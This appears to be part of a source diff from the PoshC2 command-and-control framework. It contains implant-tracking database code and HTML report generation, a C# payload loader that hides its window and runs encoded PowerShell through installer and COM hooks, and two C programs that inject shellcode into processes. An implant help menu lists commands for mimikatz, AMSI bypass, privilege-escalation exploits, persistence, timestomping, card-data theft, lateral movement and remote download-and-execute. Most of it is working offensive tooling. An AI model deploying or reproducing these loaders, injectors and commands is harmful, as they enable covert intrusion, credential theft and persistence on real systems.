conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants WHERE RandomURI=?", (randomuri,))
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_autoruns():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM AutoRuns")
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_autorun():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM AutoRuns")
|
||||
result = c.fetchall()
|
||||
autoruns = ""
|
||||
for autorun in result:
|
||||
autoruns += "%s:%s\r\n" % (autorun[0],autorun[1])
|
||||
if autoruns:
|
||||
return autoruns
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_pid(randomuri):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT PID FROM Implants WHERE RandomURI=?", (randomuri,))
|
||||
result = c.fetchone()[0]
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_newtasks(randomuri):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM NewTasks WHERE RandomURI=?", (randomuri,))
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
|
@ -0,0 +1,107 @@
|
|||
using System;
|
||||
using System.Text;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Configuration.Install;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Collections.ObjectModel;
|
||||
using System.Management.Automation;
|
||||
using System.Management.Automation.Runspaces;
|
||||
using System.EnterpriseServices;
|
||||
|
||||
public class Program
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr GetConsoleWindow();
|
||||
[DllImport("user32.dll")]
|
||||
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||
public const int SW_HIDE = 0;
|
||||
public const int SW_SHOW = 5;
|
||||
public static string p = "#REPLACEME#";
|
||||
public Program() {
|
||||
try
|
||||
{
|
||||
string tt = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String(p));
|
||||
InvokeAutomation(tt);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Main();
|
||||
}
|
||||
}
|
||||
public static string InvokeAutomation(string cmd)
|
||||
{
|
||||
Runspace newrunspace = RunspaceFactory.CreateRunspace();
|
||||
newrunspace.Open();
|
||||
RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace);
|
||||
Pipeline pipeline = newrunspace.CreatePipeline();
|
||||
|
||||
pipeline.Commands.AddScript(cmd);
|
||||
Collection<PSObject> results = pipeline.Invoke();
|
||||
newrunspace.Close();
|
||||
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
foreach (PSObject obj in results)
|
||||
{
|
||||
stringBuilder.Append(obj);
|
||||
}
|
||||
return stringBuilder.ToString().Trim();
|
||||
}
|
||||
public static void Main()
|
||||
{
|
||||
var handle = GetConsoleWindow();
|
||||
ShowWindow(handle, SW_HIDE);
|
||||
try
|
||||
{
|
||||
string tt = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String(p));
|
||||
InvokeAutomation(tt);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Main();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public class Bypass : ServicedComponent
|
||||
{
|
||||
[ComRegisterFunction]
|
||||
public static void RegisterClass ( string key )
|
||||
{
|
||||
Program.Main();
|
||||
}
|
||||
|
||||
[ComUnregisterFunction]
|
||||
public static void UnRegisterClass ( string key )
|
||||
{
|
||||
Program.Main();
|
||||
}
|
||||
}
|
||||
|
||||
[System.ComponentModel.RunInstaller(true)]
|
||||
public class Sample : System.Configuration.Install.Installer
|
||||
{
|
||||
public override void Uninstall(System.Collections.IDictionary savedState)
|
||||
{
|
||||
Program.Main();
|
||||
}
|
||||
public static string InvokeAutomation(string cmd)
|
||||
{
|
||||
Runspace newrunspace = RunspaceFactory.CreateRunspace();
|
||||
newrunspace.Open();
|
||||
RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace);
|
||||
Pipeline pipeline = newrunspace.CreatePipeline();
|
||||
|
||||
pipeline.Commands.AddScript(cmd);
|
||||
Collection<PSObject> results = pipeline.Invoke();
|
||||
newrunspace.Close();
|
||||
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
foreach (PSObject obj in results)
|
||||
{
|
||||
stringBuilder.Append(obj);
|
||||
}
|
||||
return stringBuilder.ToString().Trim();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,69 @@
|
|||
#define WINVER 0x0501
|
||||
|
||||
#include<stdio.h>
|
||||
#include<windows.h>
|
||||
#include<tlhelp32.h>
|
||||
#include<string.h>
|
||||
|
||||
#REPLACEME#
|
||||
|
||||
void pump(DWORD);
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int x = atoi(argv[1]);
|
||||
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||||
si.cb = sizeof(si);
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
PROCESS_INFORMATION pi= {0};
|
||||
|
||||
BOOL bSuccess = FALSE;
|
||||
DWORD dwPid = 0;
|
||||
bSuccess = CreateProcess(NULL, "C:\\Windows\\system32\\netsh.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
||||
int processID = GetCurrentProcessId();
|
||||
if (bSuccess)
|
||||
{
|
||||
dwPid = GetProcessId(pi.hProcess);
|
||||
}
|
||||
if (x > 0)
|
||||
{
|
||||
pump(x);
|
||||
} else {
|
||||
//pump(dwPid);
|
||||
pump(processID);
|
||||
}
|
||||
while(1) {Sleep(50000);}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void pump(DWORD dwProcessID) {
|
||||
HANDLE hProc;
|
||||
HANDLE hRemoteThread;
|
||||
PVOID pRemoteBuffer;
|
||||
|
||||
if(!dwProcessID) {
|
||||
printf("No ProcessID Passed");
|
||||
}
|
||||
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
|
||||
if(!hProc) {
|
||||
printf("Cannot OP");
|
||||
}
|
||||
|
||||
pRemoteBuffer = VirtualAllocEx(hProc, NULL, sizeof(sc)*2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!pRemoteBuffer) {
|
||||
printf("Error: VA");
|
||||
}
|
||||
if (!WriteProcessMemory(hProc, pRemoteBuffer, sc, sizeof(sc), NULL)) {
|
||||
printf("Error: WPM");
|
||||
}
|
||||
|
||||
hRemoteThread = CreateRemoteThread(hProc, NULL, 0, pRemoteBuffer, NULL, 0, NULL);
|
||||
if (!hRemoteThread) {
|
||||
printf("Error: CRT");
|
||||
}
|
||||
CloseHandle(hProc);
|
||||
|
||||
printf("DONE");
|
||||
}
|
|
@ -0,0 +1,66 @@
|
|||
#define WINVER 0x0501
|
||||
|
||||
#include<stdio.h>
|
||||
#include<windows.h>
|
||||
#include<tlhelp32.h>
|
||||
#include<string.h>
|
||||
|
||||
#REPLACEME#
|
||||
|
||||
void pump(DWORD);
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int x = atoi(argv[1]);
|
||||
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||||
si.cb = sizeof(si);
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
PROCESS_INFORMATION pi= {0};
|
||||
|
||||
BOOL bSuccess = FALSE;
|
||||
DWORD dwPid = 0;
|
||||
bSuccess = CreateProcess(NULL, "C:\\Windows\\system32\\netsh.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
||||
if (bSuccess)
|
||||
{
|
||||
dwPid = GetProcessId(pi.hProcess);
|
||||
}
|
||||
if (x > 0)
|
||||
{
|
||||
pump(x);
|
||||
} else {
|
||||
pump(dwPid);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void pump(DWORD dwProcessID) {
|
||||
HANDLE hProc;
|
||||
HANDLE hRemoteThread;
|
||||
PVOID pRemoteBuffer;
|
||||
|
||||
if(!dwProcessID) {
|
||||
printf("No ProcessID Passed");
|
||||
}
|
||||
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
|
||||
if(!hProc) {
|
||||
printf("Cannot OP");
|
||||
}
|
||||
|
||||
pRemoteBuffer = VirtualAllocEx(hProc, NULL, sizeof(sc)*2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!pRemoteBuffer) {
|
||||
printf("Error: VA");
|
||||
}
|
||||
if (!WriteProcessMemory(hProc, pRemoteBuffer, sc, sizeof(sc), NULL)) {
|
||||
printf("Error: WPM");
|
||||
}
|
||||
|
||||
hRemoteThread = CreateRemoteThread(hProc, NULL, 0, pRemoteBuffer, NULL, 0, NULL);
|
||||
if (!hRemoteThread) {
|
||||
printf("Error: CRT");
|
||||
}
|
||||
CloseHandle(hProc);
|
||||
|
||||
printf("DONE");
|
||||
}
|
After Width: | Height: | Size: 5.6 KiB |
After Width: | Height: | Size: 11 KiB |
|
@ -0,0 +1,336 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
import sqlite3, re, subprocess, time
|
||||
import pandas as pd
|
||||
from Config import *
|
||||
|
||||
def graphviz():
|
||||
GV = """
|
||||
digraph "PoshC2" {
|
||||
|
||||
subgraph proxy {
|
||||
node [color=white, fontcolor=red, fontsize=15, shapefile="/opt/PoshC2_Python/Files/firewall.png"];
|
||||
"POSHSERVER";
|
||||
}
|
||||
|
||||
subgraph implant {
|
||||
node [color=white, fontcolor=white, fontsize=15, shapefile="/opt/PoshC2_Python/Files/implant.png"];
|
||||
IMPLANTHOSTS
|
||||
}
|
||||
|
||||
subgraph daisy {
|
||||
node [color=white, fontcolor=white, fontsize=15, shapefile="/opt/PoshC2_Python/Files/implant.png"];
|
||||
DAISYHOSTS
|
||||
}
|
||||
|
||||
}
|
||||
"""
|
||||
ServerTAG = "\\n\\n\\n\\n\\n\\n\\n\\n\\n\\nPoshC2 Server\\n%s" % HostnameIP
|
||||
GV = GV.replace("POSHSERVER",ServerTAG)
|
||||
|
||||
implants = get_implants_all_db()
|
||||
hosts = ""
|
||||
daisyhosts = ""
|
||||
|
||||
for i in implants:
|
||||
if "Daisy" not in i[15]:
|
||||
if i[3] not in hosts:
|
||||
hostname = i[11].replace("\\","\\\\")
|
||||
hosts += "\"%s\" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (ServerTAG,hostname,i[3])
|
||||
|
||||
for i in implants:
|
||||
if "Daisy" in i[15]:
|
||||
hostname = i[11].replace("\\","\\\\")
|
||||
if "\"%s\\n\\n\\n\\n \" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (i[9].replace('\x00','').replace("\\","\\\\").replace('@',' \\n '),hostname,i[3]) not in daisyhosts:
|
||||
daisyhosts += "\"%s\\n\\n\\n\\n \" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (i[9].replace('\x00','').replace("\\","\\\\").replace('@',' \\n '),hostname,i[3])
|
||||
|
||||
GV = GV.replace("DAISYHOSTS",daisyhosts)
|
||||
GV = GV.replace("IMPLANTHOSTS",hosts)
|
||||
output_file = open("%sPoshC2_Python.dot" % ReportsDirectory, 'w')
|
||||
output_file.write("%s" % GV.encode('utf-8'))
|
||||
output_file.close()
|
||||
subprocess.check_output("dot -T png -o %sPoshC2_Python.png %sPoshC2_Python.dot" % (ReportsDirectory,ReportsDirectory), shell=True)
|
||||
print ""
|
||||
print "GraphViz Generated PoshC2_Python.png"
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
def get_implants_all_db():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants")
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_htmlimplant( randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants WHERE RandomURI=?",(randomuri,))
|
||||
result = c.fetchone()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def generate_table(table):
|
||||
HTMLPre = """<script>
|
||||
function SearchCommand() {
|
||||
// Declare variables
|
||||
var input, filter, table, tr, td, i;
|
||||
input = document.getElementById("CommandInput");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("PoshTable");
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
// Loop through all table rows, and hide those who don't match the search query
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[3];
|
||||
if (td) {
|
||||
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
} else {
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
function SearchOutput() {
|
||||
// Declare variables
|
||||
var input, filter, table, tr, td, i;
|
||||
input = document.getElementById("OutputInput");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("PoshTable");
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
// Loop through all table rows, and hide those who don't match the search query
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[4];
|
||||
if (td) {
|
||||
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
} else {
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
function SearchTask() {
|
||||
// Declare variables
|
||||
var input, filter, table, tr, td, i;
|
||||
input = document.getElementById("SearchTask");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("PoshTable");
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
// Loop through all table rows, and hide those who don't match the search query
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[0];
|
||||
if (td) {
|
||||
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
} else {
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Do some tweaking to markup to make things easier
|
||||
function tweakMarkup(){
|
||||
|
||||
// Add classes to columns
|
||||
var classes = ['id', 'taskid', 'randomuri', 'command', 'output', 'prompt']
|
||||
tbl = document.getElementById("PoshTable");
|
||||
ths = tbl.getElementsByTagName("th");
|
||||
for( i=0; i<ths.length; i++ ){
|
||||
th = ths[i];
|
||||
th.className = classes[i]
|
||||
}
|
||||
trs = tbl.getElementsByTagName("tr");
|
||||
for( i=0; i<trs.length; i++ ){
|
||||
tr = trs[i]
|
||||
tds = tr.getElementsByTagName('td');
|
||||
if( i % 2 == 0 ){
|
||||
tr.className = 'even';
|
||||
}else{
|
||||
tr.className = 'odd';
|
||||
}
|
||||
for( j=0; j<tds.length; j++ ){
|
||||
td = tds[j];
|
||||
td.className = classes[j]
|
||||
if( td.className.match(/output|command/) ){
|
||||
td.className += ' hidden';
|
||||
td.innerHTML = '<div>' + td.innerHTML + '</div>';
|
||||
td.onclick = toggleHide
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function toggleHide( evnt ){
|
||||
td = evnt.target;
|
||||
if( td.nodeName == 'DIV' ){
|
||||
td = td.parentElement;
|
||||
}
|
||||
cls = td.className;
|
||||
if( cls.match(/hidden/) ){
|
||||
cls = cls.replace('hidden','shown');
|
||||
}else{
|
||||
cls = cls.replace('shown','hidden');
|
||||
}
|
||||
td.className = cls;
|
||||
}
|
||||
|
||||
</script>
|
||||
|
||||
<style>
|
||||
|
||||
#CommandInput, #OutputInput, #SearchTask {
|
||||
background-image: url('/css/searchicon.png'); /* Add a search icon to input */
|
||||
background-position: 10px 12px; /* Position the search icon */
|
||||
background-repeat: no-repeat; /* Do not repeat the icon image */
|
||||
width: 100%; /* Full-width */
|
||||
font-size: 16px; /* Increase font-size */
|
||||
padding: 12px 20px 12px 40px; /* Add some padding */
|
||||
border: 1px solid #ddd; /* Add a grey border */
|
||||
margin-bottom: 12px; /* Add some space below the input */
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
|
||||
}
|
||||
|
||||
table {
|
||||
font-family: monospace;
|
||||
margin: 1em 0;
|
||||
white-space: pre;
|
||||
border-spacing: 0;
|
||||
width: 100%;
|
||||
table-layout: fixed;
|
||||
}
|
||||
table tr {}
|
||||
table tr.even{
|
||||
background-color: #f2f2f2
|
||||
}
|
||||
table tr th,
|
||||
table tr td {
|
||||
text-align: left;
|
||||
padding: 0.5em;
|
||||
border: 1px solid #ccc;
|
||||
|
||||
}
|
||||
table tr th {
|
||||
background-color: #4CAF50;
|
||||
color: white;
|
||||
}
|
||||
table tr td {
|
||||
vertical-align: top;
|
||||
}
|
||||
table tr td.command {
|
||||
}
|
||||
table tr td.hidden div,
|
||||
table tr td.shown div {
|
||||
cursor: pointer;
|
||||
background: top right url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHkSURBVDjL3ZNvT1JhGMafb3G+TQqKECNFRIEDcvgXmB5IPNJmTdbC1SQ0S1xzZKXyT41TdpCOMyYtiXS9aW2uD8EbPsHV87RRmyLrdc92vbt/1/U8930/ZLYxASbpSwgz9SCin2+CHtJJwYoLgbITvvcOeN7a4S6NgTB45+cmCucvu8JMFOZCZQHpr0tYO12Ga9cKwpJz5xvIfH+GR2dxRGp+uSOs8Jxv39GKV+/gYS2OlXoSfNECMnMSRKw+hdS3BLI/Mlho3MPUR88lE+++ozlfjWG1kYJUCcNRsMCWM4NM02vf/hTgwsf+1uLpfTw4mcOtQ0G9aCDINiWmRiAdiAz+HTC6Nfi3QKx6uckjT3Pi0K1c1QPnzojahtsi3Zr2L/rfDGin5fE3o+pVxeYXRmVw3dA0Pddzfwz8Co82LFVERMuTbEyXJjGUMaqBgoBQ0Qfjmq5lWO3n9E/76IK8s4PCYHCytoDZgwhsWXPzosGNdYPszY1jTonBnxVgSuuhe6KhyfRDJGsJ3P0gQSqLDG7RBeE6PeF6Wie7X/MI5N2YLonoX+oFce1ZsXicQOJoHs68FdbNznBbAytaREthSHIE2lQPCF8cgT0/jLHtIQbD8sqEbrBuWYM+mqx93ANN8hp+AQOPtI0tirA3AAAAAElFTkSuQmCC);
|
||||
background-repeat: no-repeat;
|
||||
|
||||
overflow: scroll;
|
||||
word-wrap: break-all;
|
||||
white-space:normal;
|
||||
min-height: 25px;
|
||||
width: 100%;
|
||||
}
|
||||
table tr td.shown div {
|
||||
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHqSURBVDjL3ZHbThpRFIZ5i3kcLRYPqIgUGcDhNKBAqyKCobTR2NhiKmCstcWmBmtLPaCO4CQ6SBWVKInx0N70KbjhCf7O3ia0ZS686F0vVrL3Xvv7VvIvFQBVuOITQxfe6tj5IEPu9xW/ZxGcu2aJnAksxW9eYP42hmB5oBY48zAjJ240QoP7HH3j8xYhWgwiUgiAyxpFlTxZmL2ewvrPNBJX0wid+TF0zCsEHtEKGcbT4igWK0k8OwzBumGo0uZoeUCYuZzE0vUcVn6k8OSbUyFwyfDbSgKvShOIFsZgWTfU2K96pv5huOSm8KfvS/AXHAqBQ2CxcJFAsjwDe5YFgWkGdzCPoSMXHhed8BXs8B7YFALbVh/6Nx+RyWAzevR91qEu+Jf6XwRuecdkTSRp27YcVtaoCLE33Qn9sha6D+3oSrVB+07zO0RXzsx4chxmT18ifhqjSTcKej5qMbkfRVQM12EqILA8uRaRgnguhRE7mqJrahR0y5MjYgi+TTfsq1a0vVELVODYMVUJ/Lo0jZG8768d/1md71uhS2nBZxwYzwXRn2bxMNksqLgtoxgQ/RjOe2HK9FCrYaVLIehY1KB9oYVpnVfXnKscrMsmqBNNEm2a13ol05c7+L7SzD1gWpLNVXW8SST3X7gvtJUuvnAlAAAAAElFTkSuQmCC);
|
||||
}
|
||||
table tr td.output {
|
||||
width: 100px;
|
||||
}
|
||||
table tr td.hidden div {
|
||||
height: 1em;
|
||||
overflow: hidden;
|
||||
cursor: pointer;
|
||||
}
|
||||
table tr th.id {
|
||||
width: 3%;
|
||||
min-width: 3em;
|
||||
}
|
||||
table tr th.taskid {
|
||||
width: 12%;
|
||||
}
|
||||
table tr th.randomuri {
|
||||
width: 15%;
|
||||
}
|
||||
table tr th.prompt {
|
||||
width: 10%;
|
||||
}
|
||||
|
||||
p {
|
||||
margin-left: 20px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<pre>
|
||||
__________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \
|
||||
| ___/ _ \/ ___/ | \ / \ \/ / ____/
|
||||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______
|
||||
\/ \/ \/ \/
|
||||
=============== v4.0 www.PoshC2.co.uk =============
|
||||
</pre>
|
||||
"""
|
||||
|
||||
if table == "CompletedTasks":
|
||||
HTMLPre += """<input type="text" id="SearchTask" onkeyup="SearchTask()" placeholder="Search for task..">
|
||||
<input type="text" id="CommandInput" onkeyup="SearchCommand()" placeholder="Search for command..">
|
||||
<input type="text" id="OutputInput" onkeyup="SearchOutput()" placeholder="Search for output..">
|
||||
"""
|
||||
|
||||
conn = sqlite3.connect(DB)
|
||||
pd.set_option('display.max_colwidth', -1)
|
||||
pd.options.mode.chained_assignment = None
|
||||
frame = pd.read_sql_query("SELECT * FROM %s" % table, conn)
|
||||
if table == "CompletedTasks":
|
||||
framelen = frame['RandomURI'].count()
|
||||
for x in range(0, framelen):
|
||||
try:
|
||||
frame['RandomURI'][x]
|
||||
a = get_htmlimplant(str(frame['RandomURI'][x]))
|
||||
frame['RandomURI'][x] = a[3], a[11]
|
||||
except Exception as e:
|
||||
print e
|
||||
a = "None"
|
||||
|
||||
reportname = "%s%s.html" % (ReportsDirectory,table)
|
||||
output_file = open(reportname, 'w')
|
||||
HTMLPost = (frame.to_html(classes='table',index=False,escape=False)).replace("\\r\\n","</br>")
|
||||
HTMLPost = HTMLPost.replace("\\n","</br>")
|
||||
HTMLPost = re.sub(u'\x00', '', HTMLPost)
|
||||
HTMLPost = HTMLPost.replace(" <td>"," <td class=\"TableColumn\">")
|
||||
HTMLPost = HTMLPost.replace("<tr style=\"text-align: right;\">","<tr>")
|
||||
HTMLPost = HTMLPost.replace("<table border=\"1\" class=\"dataframe table\">","<table id=\"PoshTable\" border=\"1\" class=\"PoshTableClass\">")
|
||||
HTMLPost = HTMLPost.replace("<th>CompletedTaskID</th>","<th class=\"CompletedTaskID\">ID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>ID</th>","<th class=\"ID\">ID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>TaskID</th>","<th class=\"TaskID\">TaskID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>RandomURI</th>","<th class=\"RandomURI\">RandomURI</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Command</th>","<th class=\"Command\">Command</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Output</th>","<th class=\"Output\">Output</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Prompt</th>","<th class=\"Prompt\">Prompt</th>")
|
||||
|
||||
HTMLPost = HTMLPost + """
|
||||
<script>
|
||||
tweakMarkup();
|
||||
</script>"""
|
||||
output_file.write("%s%s" % (HTMLPre.encode('utf-8'),HTMLPost.encode('utf-8')))
|
||||
output_file.close()
|
||||
print reportname
|
|
@ -0,0 +1,306 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
posh_help1 = """
|
||||
Implant Features:
|
||||
=====================
|
||||
ps
|
||||
searchhelp mimikatz
|
||||
beacon 60s / beacon 10m / beacon 2h
|
||||
turtle 60s / turtle 30m / turtle 8h
|
||||
kill-implant
|
||||
hide-implant
|
||||
unhide-implant
|
||||
invoke-enum
|
||||
get-proxy
|
||||
get-computerinfo
|
||||
unzip <source file> <destination folder>
|
||||
get-system
|
||||
get-system-withproxy
|
||||
get-system-withdaisy
|
||||
get-implantworkingdirectory
|
||||
get-pid
|
||||
posh-delete c:\\temp\\svc.exe
|
||||
get-webpage http://intranet
|
||||
listmodules
|
||||
modulesloaded
|
||||
loadmodule <modulename>
|
||||
loadmodule inveigh.ps1
|
||||
loadmoduleforce inveigh.ps1
|
||||
get-userinfo
|
||||
invoke-hostenum -all
|
||||
find-allvulns
|
||||
invoke-expression (get-webclient).downloadstring("https://module.ps1")
|
||||
startanotherimplant or sai
|
||||
invoke-daisychain -daisyserver http://192.168.1.1 -port 80 -c2port 80 -c2server http://c2.goog.com -domfront aaa.clou.com -proxyurl http://10.0.0.1:8080 -proxyuser dom\\test -proxypassword pass -localhost (optional if low level user)
|
||||
createproxypayload -user <dom\\user> -pass <pass> -proxyurl <http://10.0.0.1:8080>
|
||||
get-mshotfixes
|
||||
get-firewallrulesall | out-string -width 200
|
||||
enablerdp
|
||||
disablerdp
|
||||
netsh.exe advfirewall firewall add rule name="enablerdp" dir=in action=allow protocol=tcp localport=any enable=yes
|
||||
get-wlanpass
|
||||
get-wmiobject -class win32_product
|
||||
get-creditcarddata -path 'c:\\backup\\'
|
||||
timestomp c:\\windows\\system32\\service.exe "01/03/2008 12:12 pm"
|
||||
icacls c:\\windows\\system32\\resetpassword.exe /grant administrator:f
|
||||
get-allfirewallrules c:\\temp\\rules.csv
|
||||
get-allservices
|
||||
get-wmireglastloggedon
|
||||
get-wmiregcachedrdpconnection
|
||||
get-wmiregmounteddrive
|
||||
resolve-ipaddress
|
||||
unhook-amsi
|
||||
get-process -id $pid -module |%{ if ($_.modulename -eq "amsi.dll") {echo "`nAMSI Loaded`n"} }
|
||||
"""
|
||||
|
||||
|
||||
posh_help2 = """
|
||||
Privilege Escalation:
|
||||
====================
|
||||
invoke-allchecks
|
||||
Invoke-PsUACme -Payload "c:\\temp\\uac.exe" -method sysprep
|
||||
get-mshotfixes | where-object {$_.hotfixid -eq "kb2852386"}
|
||||
invoke-ms16-032
|
||||
invoke-ms16-032-proxypayload
|
||||
invoke-eternalblue -target 127.0.0.1 -initialgrooms 5 -maxattempts 1 -msfbind
|
||||
get-gpppassword
|
||||
get-content 'c:\\programdata\\mcafee\\common framework\\sitelist.xml'
|
||||
dir -recurse | select-string -pattern 'password='"""
|
||||
|
||||
posh_help3 = """
|
||||
File Management:
|
||||
====================
|
||||
download-file -source 'c:\\temp dir\\run.exe'
|
||||
download-files -directory 'c:\\temp dir\\'
|
||||
upload-file -source 'c:\\temp\\run.exe' -destination 'c:\\temp\\test.exe'
|
||||
web-upload-file -from 'http://www.example.com/app.exe' -to 'c:\\temp\\app.exe'
|
||||
|
||||
Persistence:
|
||||
================
|
||||
install-persistence 1,2,3
|
||||
remove-persistence 1,2,3
|
||||
installexe-persistence
|
||||
removeexe-persistence
|
||||
install-servicelevel-persistence | remove-servicelevel-persistence
|
||||
install-servicelevel-persistencewithproxy | remove-servicelevel-persistence
|
||||
|
||||
Network Tasks / Lateral Movement:
|
||||
==================
|
||||
get-externalip
|
||||
test-adcredential -domain test -user ben -password password1
|
||||
invoke-smblogin -target 192.168.100.20 -domain testdomain -username test -hash/-password
|
||||
invoke-smbexec -target 192.168.100.20 -domain testdomain -username test -hash/-pass -command "net user smbexec winter2017 /add"
|
||||
invoke-wmiexec -target 192.168.100.20 -domain testdomain -username test -hash/-pass -command "net user smbexec winter2017 /add"
|
||||
net view | net users | net localgroup administrators | net accounts /dom
|
||||
whoami /groups | whoami /priv"""
|
||||
|
||||
posh_help4 = """
|
||||
Active Directory Enumeration:
|
||||
==================
|
||||
invoke-aclscanner
|
||||
get-objectacl -resolveguids -samaccountname john
|
||||
add-objectacl -targetsamaccountname arobbins -principalsamaccountname harmj0y -rights resetpassword
|
||||
get-netuser -admincount | select samaccountname
|
||||
get-domainuser -uacfilter not_password_expired,not_accountdisable -properties samaccountname,pwdlastset | export-csv act.csv
|
||||
get-netgroup -admincount | select samaccountname
|
||||
get-netgroupmember "domain admins" -recurse|select membername
|
||||
get-netcomputer | select-string -pattern "citrix"
|
||||
get-netcomputer -filter operatingsystem=*7*|select name
|
||||
get-netcomputer -filter operatingsystem=*2008*|select name
|
||||
get-domaincomputer -ldapfilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -spn "wsman*" -properties dnshostname,serviceprincipalname,operatingsystem,distinguishedname | fl
|
||||
get-netgroup | select-string -pattern "internet"
|
||||
get-netuser -filter | select-object samaccountname,userprincipalname
|
||||
get-netuser -filter samaccountname=test
|
||||
get-netuser -filter userprinciplename=test@test.com
|
||||
